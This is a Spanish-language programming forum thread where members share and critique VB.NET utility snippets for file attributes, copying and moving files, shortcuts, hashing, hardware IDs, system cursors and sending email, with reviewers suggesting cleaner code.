Return False ' File can't be modified maybe because User Permissions
End Try
Else
Return Nothing ' File doesn't exist
End If
End Function- "Controlar el mismo evento para varios controles". No es aconsejable tener un solo método con condiciones para cada control por separado, lo recomendado es tener un método por evento. Si necesitas realizar algo en específico para un control en especial, entonces asigna un método diferente al control.
- Función ConvertToDiscSize. Si debes de pasar un string a una función, para luego tomar una decisión según se trate de un string u otro, debes de plantearte declarar un enumerador (esto mismo es aplicable a otras de tus funciones). Por otra parte, tampoco es recomendable tener todos los valores hardcodeados en un método, además de que estás repitiendo mucho código. A continuación una variante de la función reestructrada;
#Region " Convert To Disc Size function"
Private Function ConvertToDiscSize(ByVal fileSize As Double, ByVal fileKindSize As MagnitudeType, ByVal to_DiscKindCapacity As DiscType) As Double
Dim size As Double = GetSize(to_DiscKindCapacity)
If (size < 0) Then Throw New ArgumentException("Tamaño de disco no localizado")
Return fileSize * DirectCast(fileKindSize, Integer) / size
End Function
Enum MagnitudeType
Bytes = 1
KB = 1024
MB = 1048576
GB = 1073741824
End Enum
Enum DiscType
CD
CD800
CD900
DVD
DVD_DL
BR
BR_DL
BR_3L
BR_4L
BR_MD
BR_MD_DL
End Enum
Private Function GetSize(ByVal discType As DiscType) As Double
Select Case discType
Case DiscType.CD
Return 737280000 ' CD Standard
Case DiscType.CD800
Return 829440393.216 ' CD 800 MB
Case DiscType.CD900
Return 912383803.392 ' CD 900 MB
Case DiscType.DVD
Return 4700000000 ' DVD Standard (DVD5
Case DiscType.DVD_DL
Return 8500000000 ' DVD Double Layer (DVD9)
Case DiscType.BR
Return 25025314816 ' BluRay Standard
Case DiscType.BR_DL
Return 50050629632 ' BluRay Double Layer
Case DiscType.BR_3L
Return 100103356416 ' BluRay x3 Layers
Case DiscType.BR_4L
Return 128001769472 ' BluRay x4 Layers
Case DiscType.BR_MD
Return 7791181824 ' BluRay MiniDisc Standard
Case DiscType.BR_MD_DL
Return 15582363648 ' BluRay MiniDisc Double Layer
Case Else
Return -1 ' Por si se declara un nuevo valor en el enumerador sin especificar tamaño
End Select
End Function
#End RegionCreo que por el momento es todo lo que se me ocurre, en otro momento vuelvo a mirar :P
Saludos
@Novlucker
Que grande,
antes de nada debo decir que para mi tus críticas o sugerencias (O ataques personales si se da el caos xD) son más que bien recibidas, y segundo, gracias por colocarle chincheta al tema (Quien haya sido xD), a ver si la gente se anima a compartir funciones/snippets.
Voy por partes:
1.
Sincéramente yo no le daba nada de importancia a definir el tipo de retorno de una función, ¿Porque?, pues no sé, quizás séa porque como muchas funciones las he hecho yo pues sé perfectamente que tipo de valor devuelven y no debo fijarme en esos detalles que comentas, o simplemente no le he dado importancia sin razón alguna, pero me lo has hecho ver de una manera en la que no me habia fijado, y te aseguro que estoy editando los 124 snippets definiendo el tipo de retorno de cada uno xD.
Lo malo de esto, es que si declaro el tipo en boolean (Por ejemplo), entonces ya no puedo retornar el mensaje de la excepción (Return ex.message), ¿O si?.
2.
Con tu modificación que le has hecho a la función de los atributos me has dejado loco!
Diréctamente no la entiendo...
Attributes.Select(Function(a) DirectCast(a, Integer)).Sum()
De ahí lo único que entiendo es que modificas el valor "a" a tipo entero (no se lo que significa esa "a"), lo de "Select", "Function", y "Sum, ni idea XD
Bueno, el método "Sum" ya he visto que crea una sequencia parecida a esto:
32 + 64
Lo que equivale a los valores para cambiar los atributos, vale, pero el proceso que haces para llegar a generar esa secuencia... ni idea :xD.
Lo peor de todo es que no sé usar tu modificación de la función de atributos, es muy avanzada '¬¬
Así que mientras no me muestres un ejemplo de como usar tu función, la dejo así, que está mejor que la versión original y se asemeja al comando ATTRIB de la CMD, lo que me facilita un poco más su uso:
#Region " Change File Attributes Function "
' [ Change File Attributes Function ]
'
' // By Elektro H@cker
'
' Examples :
' Change_File_Attributes("C:\File.txt", H + R)
' Change_File_Attributes("C:\File.txt", Hidden + Read_Only)
Const Archive As Integer = 32, A As Integer = 32
Const Directory As Integer = 16, D As Integer = 16
Const Hidden As Integer = 2, H As Integer = 2
Const Normal As Integer = 0, N As Integer = 0
Const Read_Only As Integer = 1, R As Integer = 1
Const System As Integer = 4, S As Integer = 4
Const Volume As Integer = 8, V As Integer = 8
Private Function Change_File_Attributes(ByVal File As String, ByVal Attributes As System.IO.FileAttributes) As Boolean
If IO.File.Exists(File) Then
Try
FileSystem.SetAttr(File, Attributes)
Return True ' File was modified OK
Catch
Return False ' File can't be modified maybe because User Permissions
End Try
Else
Return Nothing ' File doesn't exist
End If
End Function
#End Region
3.
Tu modificación de la función de las capacidades de discos es inmejorable,
Me doy cuenta que tengo que usar más las constantes y las enumeraciones si quiero perfeccionar y simplificar las cosas (Si te digo la verdad pensé que esa función no se podía simplificar más, hasta que he visto tu modificación xDDD, me kawen tó)
Gracias por los consejos y un saludo
Cita de: EleKtro H@cker en 14 Enero 2013, 03:01 AM
@Novlucker
Que grande,
antes de nada debo decir que para mi tus críticas o sugerencias (O ataques personales si se da el caos xD) son más que bien recibidas
Mientras no pienses que es un ataque, la idea es que puedas mejorar :P
Cita de: EleKtro H@cker en 14 Enero 2013, 03:01 AMLo malo de esto, es que si declaro el tipo en boolean (Por ejemplo), entonces ya no puedo retornar el mensaje de la excepción (Return ex.message), ¿O si?.
En realidad no es posible. Por lo general cuando es necesario hacer eso se debe de retornar un objeto
Result (o clase similar creada por ti). Algo así por ejemplo;
Public Class Result
Public ReturnValue as Boolean
Public Message as String
End ClassSi esta todo ok, se asigna el valor a ReturnValue y se deja el Message vacío, sino se hace lo contrario.
De cualquier modo, lo habitual es simplemente hacer un throw de la exception, las propias funciones del .NET Framework lo hacen por ejemplo. Por decir algo más y siguiendo con .NET, en C# por ejemplo no puedes declarar un método/función sin tipo de retorno y luego retornar algo.
Cita de: EleKtro H@cker en 14 Enero 2013, 03:01 AM
Attributes.Select(Function(a) DirectCast(a, Integer)).Sum()
De ahí lo único que entiendo es que modificas el valor "a" a tipo entero (no se lo que significa esa "a"), lo de "Select", "Function", y "Sum, ni idea XD
Para acortar un poco usé LINQ con una expresión lambda :P, la explicación es la siguiente;
- Attributes es una lista, por lo cual puedo aplicar LINQ
- Por cada item "a" de la lista, lo casteo a Integer. Esto es porque el enumerador FileAttributes contiene los valores para estos
- Dado que ahora tengo una lista de Integer, los puedo sumar con Sum
2 ejemplos de uso;
Attrib("D:\\archivo.txt", New List(Of System.IO.FileAttributes)(New System.IO.FileAttributes() {System.IO.FileAttributes.Hidden, System.IO.FileAttributes.ReadOnly}))Dim atributos As List(Of System.IO.FileAttributes) = New List(Of IO.FileAttributes)
atributos.Add(System.IO.FileAttributes.Hidden)
atributos.Add(System.IO.FileAttributes.ReadOnly)
Attrib("D:\\archivo.txt", atributos)Cita de: EleKtro H@cker en 14 Enero 2013, 03:01 AMMe doy cuenta que tengo que usar más las constantes y las enumeraciones si quiero perfeccionar y simplificar las cosas (Si te digo la verdad pensé que esa función no se podía simplificar más, hasta que he visto tu modificación xDDD, me kawen tó)
La idea era justamente de que vieras que no hay que perder de vista la legibilidad del código, y que puedes mejorar en eso :)
Saludos
Para convertir un string a lower,upper,wordcase o titlecase, con opción de invertir el string
#Region " String To Case Function "
' [ String To Case Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Lower))
' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Upper))
' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Word))
' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Title))
' MsgBox(String_To_Case("ThiS is A TeST", StringCase.Title, True))
Enum StringCase
Lower
Upper
Title
Word
End Enum
Public Function String_To_Case(ByVal Input_String As String, ByVal StringCase As StringCase, Optional ByVal Reverse As Boolean = False) As String
If Not Input_String = Nothing And Not Input_String = "" Then
Dim Output_String As String = Nothing
Select Case StringCase
Case StringCase.Lower : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToLower(Input_String)
Case StringCase.Upper : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToUpper(Input_String)
Case StringCase.Title : Output_String = Char.ToUpper(Input_String(0)) + StrConv(Input_String.Substring(1), VbStrConv.Lowercase)
Case StringCase.Word : Output_String = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Input_String)
End Select
If Reverse Then Return Microsoft.VisualBasic.StrReverse(Output_String) Else Return Output_String
Else : Return False ' Any string to convert
End If
End Function
#End Region
Make Dir, para crear directorios con opción de añadir atributos.
#Region " Make Dir Function "
' [ Make Dir Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(MakeDir("C:\Test"))
Private Function Make_Dir(ByVal Path As String, Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
If My.Computer.FileSystem.DirectoryExists(Path) Then Return Nothing ' Directory already exists
Try
My.Computer.FileSystem.CreateDirectory(Path) ' Create directory
If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetDirectoryInfo(Path).Attributes = Attributes ' Apply Folder Attributes
Return True ' Directory is created OK
Catch ex As Exception
Return False ' Can't create the directory maybe because user permissions
' Return ex.Message
End Try
End Function
#End Region
Copy File , para copiar archivos, con opción de crear el directorio si no existe, opción de reemplazar archivos, y opcion de aplicar atributos al archivo.
#Region " Copy File Function "
' [ Copy File Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Copy_File("C:\File.txt", "C:\Test\")) ' Standard copy
' MsgBox(Copy_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists
' MsgBox(Copy_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file
' MsgBox(Copy_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes
Private Function Copy_File(ByVal File As String, ByVal Target_Path As String, _
Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _
Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
Dim File_Information = My.Computer.FileSystem.GetFileInfo(File) ' Get Input File Information
' Directory
If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then
Return False ' Target Directory don't exists
ElseIf Force_Target_Path Then
Try
My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory
Catch ex As Exception
'Return False
Return ex.Message ' Directory can't be created maybe beacuse user permissions
End Try
End If
' File
Try
My.Computer.FileSystem.CopyFile(File, Target_Path & "\" & File_Information.Name, Force_File_Replace) ' Copies the file
If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes
Return True ' File is copied OK
Catch ex As Exception
'Return False
Return ex.Message ' File can't be created maybe beacuse user permissions
End Try
End Function
#End Region
Crea un acceso directo a una aplicación o a una página web, con muchas opciones.
#Region " Create ShortCut Function "
' [ Create ShortCut Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' Create_ShortCut(ShortcutPath.MyDocuments, "My APP Shortcut.lnk", "C:\File.exe")
' Create_ShortCut(ShortcutPath.Desktop, "My CMD Shortcut.lnk", "CMD.exe", "/C Echo Hello World & Pause")
' Create_ShortCut(ShortcutPath.Favorites, "My INTERNET Shortcut.lnk", "http://www.Google.com", , "CTRL+SHIFT+S")
' Create_ShortCut(ShortcutPath.Favorites, "My INTERNET Shortcut.lnk", "http://www.Google.com", , "CTRL+SHIFT+S", "Description of the shortcut")
Enum ShortcutPath
AppData = Environment.SpecialFolder.ApplicationData
Desktop = Environment.SpecialFolder.Desktop
Favorites = Environment.SpecialFolder.Favorites
LocalAppData = Environment.SpecialFolder.LocalApplicationData
MyDocuments = Environment.SpecialFolder.MyDocuments
ProgramFiles = Environment.SpecialFolder.ProgramFiles
ProgramFilesx86 = Environment.SpecialFolder.ProgramFilesX86
StartMenu = Environment.SpecialFolder.StartMenu
System32 = Environment.SpecialFolder.System
SysWOW64 = Environment.SpecialFolder.SystemX86
UserProfile = Environment.SpecialFolder.UserProfile
Windows = Environment.SpecialFolder.Windows
End Enum
Function Create_ShortCut(ByVal Shortcut_Path As ShortcutPath, _
ByVal Shortcut_Name As String, _
ByVal APP As String, _
Optional ByVal APP_Arguments As String = Nothing, _
Optional ByVal HotKey As String = Nothing, _
Optional ByVal Icon As String = Nothing, _
Optional ByVal Description As String = Nothing) As Boolean
Dim Dir = New IO.DirectoryInfo(System.Environment.GetFolderPath(Shortcut_Path))
Dim WorkingDir As IO.FileInfo
If Not APP.Contains("/") Then WorkingDir = New IO.FileInfo(APP) Else WorkingDir = Nothing
Try
Dim WSHShell As Object = CreateObject("WScript.Shell")
Dim Shortcut As Object
Shortcut = WSHShell.CreateShortcut(Dir.FullName & "\" & Shortcut_Name)
Shortcut.TargetPath = APP
Shortcut.Arguments = APP_Arguments
Shortcut.WindowStyle = 2
Shortcut.Hotkey = HotKey
Shortcut.Description = Description
If Not APP.Contains("/") Then Shortcut.WorkingDirectory = WorkingDir.DirectoryName
If Icon IsNot Nothing Then Shortcut.IconLocation = Icon Else Shortcut.IconLocation = APP
Shortcut.Save()
Return True
Catch ex As Exception
Return False
End Try
End Function
#End Region
He añadido, ordenado, y mejorado bastantes snippets del pack de snippets, el nuevo enlace está en el comentario principal.
Función para eliminar atributos de un archivo, preservando el resto de atributos.
#Region " File Remove Attribute Function "
' [ File Remove Attribute Function ]
'
' Examples :
'
' MsgBox(File_Remove_Attribute("C:\Test.txt", FileAttribute.ReadOnly))
' MsgBox(File_Remove_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden))
Public Function File_Remove_Attribute(ByVal File As String, ByVal Remove_Attribute As FileAttribute) As Boolean
Try
Dim FileAttributes As FileAttribute = IO.File.GetAttributes(File)
IO.File.SetAttributes(File, FileAttributes And Not Remove_Attribute)
Return True
Catch ex As Exception
Return False
End Try
End Function
#End Region
Función para añadir atributos a un archivo, preservando el resto de atributos.
#Region " File Add Attribute Function "
' [ File Add Attribute Function ]
'
' Examples :
'
' MsgBox(File_Add_Attribute("C:\Test.txt", FileAttribute.ReadOnly))
' MsgBox(File_Add_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden))
Public Function File_Add_Attribute(ByVal File As String, ByVal Add_Attribute As FileAttribute) As Boolean
Try
Dim FileAttributes As FileAttribute = IO.File.GetAttributes(File)
IO.File.SetAttributes(File, FileAttributes Or Add_Attribute)
Return True
Catch ex As Exception
Return False
End Try
End Function
#End Region
Función que comprueba si un archivo tiene un atributo
#Region " File Have Attribute Function "
' [ File Have Attribute Function ]
'
' Examples :
'
' MsgBox(File_Have_Attribute("C:\Test.txt", FileAttribute.ReadOnly))
' MsgBox(File_Have_Attribute("C:\Test.txt", FileAttribute.ReadOnly + FileAttribute.Hidden))
Public Function File_Have_Attribute(ByVal File As String, ByVal CheckAttribute As FileAttribute) As Boolean
Try
Dim FileAttributes As FileAttribute = IO.File.GetAttributes(File)
If (FileAttributes And CheckAttribute) = CheckAttribute Then Return True Else Return False
Catch ex As Exception
Return Nothing
End Try
End Function
#End Region
Oscurecer una imagen a escala de grises (Disable image)
PD: He retocado la función original para añadirle opción de elegir distintos tonos de gris, me ha quedado bastante bien.
#Region " GrayScale Image Function "
' [ GrayScale Image Function ]
'
' Examples:
'
' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Light_Gray)
' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Mid_Gray)
' PictureBox1.Image = GrayScale_Image(PictureBox1.Image, GrayScale.Dark_Gray)
Enum GrayScale
Light_Gray
Mid_Gray
Dark_Gray
End Enum
Private Function GrayScale_Image(ByVal Image As Image, ByVal Gray_Tone As GrayScale) As Bitmap
Dim Image_Bitmap As Bitmap = New Bitmap(Image.Width, Image.Height)
Dim Image_Graphic As Graphics = Graphics.FromImage(Image_Bitmap)
Dim Color_Matrix As System.Drawing.Imaging.ColorMatrix = Nothing
Select Case Gray_Tone
Case GrayScale.Light_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0.5, 0.5, 0.5, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}})
Case GrayScale.Mid_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0, 0, 0, 0, 0}, New Single() {0, 0, 0, 0, 0}, New Single() {0.5, 0.5, 0.5, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}})
Case GrayScale.Dark_Gray : Color_Matrix = New System.Drawing.Imaging.ColorMatrix(New Single()() {New Single() {0, 0, 0, 0, 0}, New Single() {0, 0, 0, 0, 0}, New Single() {0.2, 0.2, 0.2, 0, 0}, New Single() {0, 0, 0, 1, 0}, New Single() {0, 0, 0, 0, 1}})
End Select
Dim Image_Attributes As System.Drawing.Imaging.ImageAttributes = New System.Drawing.Imaging.ImageAttributes()
Image_Attributes.SetColorMatrix(Color_Matrix)
Image_Graphic.DrawImage(Image, New Rectangle(0, 0, Image.Width, Image.Height), 0, 0, Image.Width, Image.Height, GraphicsUnit.Pixel, Image_Attributes)
Image_Graphic.Dispose()
Return Image_Bitmap
End Function
#End Region
Interesante!
Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:
img = grayscale_image(img,grayscale.mid_gray)
Cita de: ABDERRAMAH en 16 Enero 2013, 06:45 AM
Interesante!
Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:
img = grayscale_image(img,grayscale.mid_gray)
en vez de usar 1 function usa 1 sub ....
Cita de: ABDERRAMAH en 16 Enero 2013, 06:45 AMPodrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:
No conocía esos beneficios de ByRef, gracias!
Cita de: EleKtro H@cker en 16 Enero 2013, 19:15 PM
No conocía esos beneficios de ByRef, gracias!
Tienes que intentar mejorar tus conceptos :¬¬ es algo bastante básico
Cita de: Novlucker en 16 Enero 2013, 20:20 PM
Tienes que intentar mejorar tus conceptos :¬¬ es algo bastante básico
Pues el que hizo la función original es un pedazo de Coder de CodeProject que ha hecho unos 10 controles extendido... así que quizás si usa ByVal es por algo... no sé, no me culpeis a mí xD.
PD: Cuanto más me adentro en .NET más me doy cuenta que es imposible saberlo todo al milímetro!
Saludos!
Cita de: EleKtro H@cker en 16 Enero 2013, 20:38 PM
Pues el que hizo la función original es un pedazo de Coder de CodeProject que ha hecho unos 10 controles extendido... así que quizás si usa ByVal es por algo... no sé, no me culpeis a mí xD.
PD: Cuanto más me adentro en .NET más me doy cuenta que es imposible saberlo todo al milímetro!
Ahí es donde se diferencia C# de VB.NET. C# te obliga a hacer cosas que en VB.NET son opcionales, como declarar el tipo de dato de retorno de una función, o sabes que todo objeto va siempre por referencia y los otros por valor (boolean, double, etc), salvo que se especifique que va por referencia :-\
Saludos
El concepto de byval y byref se entiende mejor en c++ que en visualbasic, yo que soy de los que aprendió con vb me costó entender a qué se refiere, en cierta forma es como pasar punteros en c++.
Cargar un recurso embedido (.exe) al disco duro
#Region " Load Resource To Disk Function "
' [ Load Exe Resource To Disk Function ]
'
' // By Elektro H@cker (Gracias a Kubox)
'
' Examples:
'
' Load__Exe_Resource_To_Disk(My.Resources.Exe_Name, "C:\File.exe")
' ' Process.Start("C:\File.exe")
Private Function Load__Exe_Resource_To_Disk(ByVal Resource As Byte(), ByVal Target_File As String) As Boolean
Try
Dim File_Buffer As Byte() = Resource
Dim Buffer_FileStream As New IO.FileStream(Target_File, IO.FileMode.Create, IO.FileAccess.Write)
Buffer_FileStream.Write(File_Buffer, 0, File_Buffer.Length) : Buffer_FileStream.Close()
Return True
Catch ex As Exception
Return False
End Try
End Function
#End Region
MessageBox Question - Cancel operation
Dim Answer = MessageBox.Show("Want to cancel the current operation?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1)
If Answer = MsgBoxResult.Yes Then Application.Exit() Else e.Cancel = True
Mover un archivo, con varias opciones adicionales.
#Region " Move File Function "
' [ Move File Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Move_File("C:\File.txt", "C:\Test\")) ' Standard move
' MsgBox(Move_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists
' MsgBox(Move_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file
' MsgBox(Move_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes
Private Function Move_File(ByVal File As String, ByVal Target_Path As String, _
Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _
Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
Dim File_Information = My.Computer.FileSystem.GetFileInfo(File) ' Get Input File Information
' Directory
If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then
Return False ' Target Directory don't exists
ElseIf Force_Target_Path Then
Try
My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory
Catch ex As Exception
'Return False
Return ex.Message ' Directory can't be created maybe beacuse user permissions
End Try
End If
' File
Try
My.Computer.FileSystem.MoveFile(File, Target_Path & "\" & File_Information.Name, Force_File_Replace) ' Moves the file
If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes
Return True ' File is copied OK
Catch ex As Exception
'Return False
Return ex.Message ' File can't be created maybe beacuse user permissions
End Try
End Function
#End Region
Obtener la arquitectura del OS
#Region " Get OS Architecture Function "
' [ Get OS Architecture Function ]
'
' // By Elektro H@cker
'
' Examples :
' Dim Architecture = Get_OS_Architecture()
Private Function Get_OS_Architecture() As Integer
Dim Bits = Runtime.InteropServices.Marshal.SizeOf(GetType(IntPtr)) * 8
Select Case Bits
Case 32 : Return 32 ' x86
Case 64 : Return 64 ' x64
Case Else : Return Nothing ' xD
End Select
End Function
#End Region
Ejemplo de un overload
' Examples:
'
' Test(0)
' Test"0")
Sub Test(ByVal Argument As Integer)
MsgBox("Integer: " & Argument)
End Sub
Sub Test(ByVal Argument As String)
MsgBox("String: " & Argument)
End Sub
El snippet de Get All Files, mejorado:
#Region " Get All Files Function "
' [ Get All Files Function ]
'
' // By Elektro H@cker
'
' Examples:
'
' Dim Files As Array = Get_All_Files("C:\Test", True)
' For Each File In Get_All_Files("C:\Test", False) : MsgBox(File) : Next
Private Function Get_All_Files(ByVal Directory As String, Optional ByVal Recursive As Boolean = False) As Array
If System.IO.Directory.Exists(Directory) Then
If Not Recursive Then : Return System.IO.Directory.GetFiles(Directory, "*", IO.SearchOption.TopDirectoryOnly)
Else : Return IO.Directory.GetFiles(Directory, "*", IO.SearchOption.AllDirectories)
End If
Else
Return Nothing
End If
End Function
#End Region
No es mucho, pero puede servir...
Obtener la ruta del directorio o del archivo "user.config"
#Region " Get User Config Function "
' [ Get User Config Function ]
'
' // By Elektro H@cker (Gracias a Seba123Neo)
'
' Examples :
'
' * First add a reference to "System.Configuration" in the proyect
'
' MsgBox(Get_User_Config(User_Config.File))
' MsgBox(Get_User_Config(User_Config.Path))
Enum User_Config
File
Path
End Enum
Private Function Get_User_Config(ByVal Setting As User_Config) As String
Dim UserConfig As String = System.Configuration.ConfigurationManager.OpenExeConfiguration(System.Configuration.ConfigurationUserLevel.PerUserRoaming).FilePath
Select Case Setting
Case User_Config.File : Return UserConfig
Case User_Config.Path : Return UserConfig.Substring(0, UserConfig.LastIndexOf("\"))
Case Else : Return False
End Select
End Function
#End Region
Se supone que todos los apuntes que has hecho desde que aprendiste vb.net estan aca no? digo porque te los iba a pedir pero veo que estan todos aca xD
Sí xDDDDDD, apuntes convertidos en funciones/snippets, creo que para lo poco que sé de .NET me lo curro ;D.
Calcular el hash MD5 de un archivo:
#Region " Get MD5 Of File Function "
' [ Get MD5 Of File Function ]
'
' Examples :
'
' MsgBox(Get_MD5_Of_File("C:\Test.txt"))
Private Function Get_MD5_Of_File(ByVal File As String) As String
Using MD5_Reader As New System.IO.FileStream(File, IO.FileMode.Open, IO.FileAccess.Read)
Using MD5 As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim MD5_Byte() As Byte = MD5.ComputeHash(MD5_Reader)
Dim MD5_Hex As New System.Text.StringBuilder(MD5.ComputeHash(MD5_Reader).Length * 2)
For Number As Integer = 0 To MD5_Byte.Length - 1 : MD5_Hex.Append(MD5_Byte(Number).ToString("X2")) : Next
Return MD5_Hex.ToString().ToLower
End Using
End Using
End Function
#End Region
Calcular el hash MD5 de un string:
#Region " Get MD5 Of String Function "
' [ Get MD5 Of String Function ]
'
' Examples :
'
' MsgBox(Get_MD5_Of_String("C:\Test.txt"))
Private Function Get_MD5_Of_String(ByVal str As String) As String
Dim MD5_Hex As String = Nothing
Dim MD5 As New System.Security.Cryptography.MD5CryptoServiceProvider()
Dim MD5_Byte = System.Text.Encoding.UTF8.GetBytes(str)
Dim MD5_Hash = MD5.ComputeHash(MD5_Byte)
MD5.Clear()
For Number As Integer = 0 To MD5_Hash.Length - 1 : MD5_Hex &= MD5_Hash(Number).ToString("x").PadLeft(2, "0") : Next
Return MD5_Hex
End Function
#End Region
Obtener la ID de la placa base:
#Region " Get Motherboard ID Function "
' [ Get Motherboard ID Function ]
'
' Examples :
'
' Dim Motherboard_ID As String = Get_Motherboard_ID()
' MsgBox(Get_Motherboard_ID())
Private Function Get_Motherboard_ID() As String
For Each Motherboard As Object In GetObject("WinMgmts:").InstancesOf("Win32_BaseBoard") : Return Motherboard.SerialNumber : Next Motherboard
Return Nothing
End Function
#End Region
Obtener la ID del procesador:
#Region " Get CPU ID Function "
' [ Get CPU ID Function ]
'
' Examples :
'
' Dim Processor_ID As String = Get_Motherboard_ID()
' MsgBox(Get_CPU_ID())
Private Function Get_CPU_ID() As String
For Each CPU_ID As Object In GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select * from Win32_Processor") : Return CPU_ID.ProcessorId : Next CPU_ID
Return Nothing
End Function
#End Region
Para cambiar los cursores de Windows (En el sistema, fuera del form)
#Region " Set System Cursor Function "
' [ Set System Cursor Function ]
'
' Examples :
'
' Set_System_Cursor("C:\Cursors\Arrow.ani", System_Cursor.ARROW))
' MsgBox(Set_System_Cursor("C:\Cursors\Cross.cur", System_Cursor.CROSS))
' Set System Cursor [ API declarations ]
Private Declare Function SetSystemCursor Lib "user32.dll" (ByVal hCursor As IntPtr, ByVal id As Integer) As Boolean
Private Declare Function LoadCursorFromFile Lib "user32.dll" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As IntPtr
' Set System Cursor [ API Constants ]
Private Enum System_Cursor As UInt32
APP_STARTING = 32650
ARROW = 32512
CROSS = 32515
HAND = 32649
HELP = 32651
I_BEAM = 32513
NO = 32648
SIZE_ALL = 32646
SIZE_NESW = 32643
SIZE_NS = 32645
SIZE_NWSE = 32642
SIZE_WE = 32644
UP = 32516
WAIT = 32514
End Enum
' Set System Cursor [ Function ]
Private Function Set_System_Cursor(ByVal Cursor_File As String, ByVal Cursor_Type As System_Cursor) As Boolean
If SetSystemCursor(LoadCursorFromFile(Cursor_File), Cursor_Type) = 0 Then Return False ' Error loading cursor from file
Return True
End Function
#End Region
Hotmail sender (Envía correos desde hotmail)
* Es necesario descargar la librería EASENDMAIL (Es gratis aunque se puede comprar licencia): http://www.emailarchitect.net/webapp/download/easendmail.exe
PD: Sé que esto se puede hacer con la class system.net.mail, pero con esto no dependemos de puertos, y el SSL de los servidores que usemos en la librería se detecta automáticamente...
#Region " Hotmail Sender Function "
' [ Hotmail Sender Function ]
'
' // By Elektro H@cker
'
' * First add a reference to "EASendMail" into the project.
'
' Examples :
'
' MsgBox(Hotmail_Sender("ElektroHacker@hotmail.com", "MyPass", "Anonym@gmail.com", "Test subject", "Test body", {"C:\File1.txt", "C:\File2.txt"}))
Private Function Hotmail_Sender(ByVal Account_User As String, ByVal Account_Password As String, ByVal Mail_To As String, ByVal Mail_Subject As String, ByVal Mail_Body As String, Optional ByVal Mail_Attachments() As String = Nothing) As Boolean
Dim Hot_Mail As New EASendMail.SmtpMail("TryIt")
Dim Hot_Server As New EASendMail.SmtpServer("smtp.live.com")
Dim Hot_Smtp As New EASendMail.SmtpClient()
Hot_Server.User = Account_User
Hot_Server.Password = Account_Password
Hot_Server.ConnectType = EASendMail.SmtpConnectType.ConnectSSLAuto
Hot_Mail.From = Account_User
Hot_Mail.To = Mail_To
Hot_Mail.Subject = Mail_Subject
Hot_Mail.TextBody = Mail_Body
If Mail_Attachments IsNot Nothing Then For Each Attachment In Mail_Attachments : Hot_Mail.AddAttachment(Attachment) : Next
Try : Hot_Smtp.SendMail(Hot_Server, Hot_Mail) : Return True
Catch ex As Exception : Return False : End Try
End Function
#End Region
Unos snippets para monitorizar unidades...
Recopilar información de las unidades conectadas en ese momento:
#Region " Get Drives Info Function "
' [ Get Drives Info Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' Dim CDROMS = Get_Drives_Info(DriveType.CDRom, True)
' For Each Drive_Info In Get_Drives_Info(DriveType.ALL, True, True, True, True, True, True) : MsgBox(Drive_Info) : Next
Private Enum DriveType
ALL
CDRom = IO.DriveType.CDRom
